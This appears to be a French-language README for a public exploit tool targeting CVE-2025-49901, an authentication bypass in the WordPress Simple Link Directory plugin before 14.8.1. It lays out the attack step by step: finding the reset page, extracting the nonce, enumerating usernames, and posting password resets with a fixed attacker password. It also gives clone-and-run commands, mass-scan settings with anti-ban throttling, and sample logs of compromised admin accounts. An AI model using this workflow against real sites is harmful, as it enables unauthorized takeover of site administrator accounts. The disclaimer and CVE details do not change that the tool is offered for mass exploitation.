
WordPress Simple Link Directory Plugin < 14.8.1 est vulnérable à une authentification cassée de haute priorité.
Le plugin WordPress Simple Link Directory < 14.8.1 est vulnérable à une faille de contournement d'authentification à priorité élevée (Broken Authentication).
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ Authentication Bypass → Password Reset → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
Le formulaire de réinitialisation de mot de passe qc-opd exposé sur les pages SLD accepte un nom d'utilisateur et un nouveau mot de passe sans vérifier l'identité de l'utilisateur via un jeton, une confirmation par e-mail ou une vérification des capacités. Un attaquant non authentifié peut énumérer les noms d'utilisateur WordPress, soumettre le formulaire de réinitialisation pour n'importe quel compte et s'authentifier immédiatement avec le mot de passe injecté — obtenant ainsi un accès administrateur sans aucune interaction de la part de l'utilisateur ciblé.
┌─────────────────────────────────────────────────────────┐
│ 1. Locate SLD reset page │
│ Probe 28+ paths → match: "sld" + "_wpnonce" + form │
│ │
│ 2. Extract nonce │
│ Parse _wpnonce from HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumerate usernames │
│ /?author=1..10 + /wp-json/wp/v2/users + hostname │
│ │
│ 4. Reset password for each username │
│ POST qc-restore-pwd=restore │
│ qc-uid=<username> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verify access (dual mode) │
│ Session mode → cookie check + /wp-admin/ probes │
│ Password mode → wp-login.php + admin panel check │
│ │
│ 6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
Targets list file → list.txt (one host per line)
Threads → default 5
HTTP timeout → default 10s
Per-user delay MIN/MAX → anti-ban throttle (default 0.3 / 0.7s)
Delay between sites → default 1.0s
Output file → scan_results/reset_mass_success.txt
Format des cibles :
https://target1.com
target2.com
http://target3.com/wordpress
Mot de passe fixe injecté pour toutes les réinitialisations :
newhackerpass123
| Méthode | Point de terminaison |
|---|---|
| Redirection auteur | → |
Après chaque tentative de réinitialisation, l'outil vérifie l'accès à l'aide de deux méthodes indépendantes :
Session mode → checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode → full wp-login.php POST + multi-path admin panel probe
Indicateurs d'administrateur vérifiés :
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Link Directory < 14.8.1 · Corrigé dans 14.8.1
| CVE | CVE-2025-49901 |
| CVSS | 9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| Versions concernées | Toutes les versions < 14.8.1 |
| Authentification | Aucune requise |
| Type | Contournement d'authentification via un chemin alternatif (CWE-288) |
| CWE | CWE-288 · Authentication Bypass Using an Alternate Path or Channel |
/?author=1/?author=10| REST API | /wp-json/wp/v2/users |
| Nom d'hôte | Première étiquette du domaine en secours |
| Codé en dur | admin toujours inclus |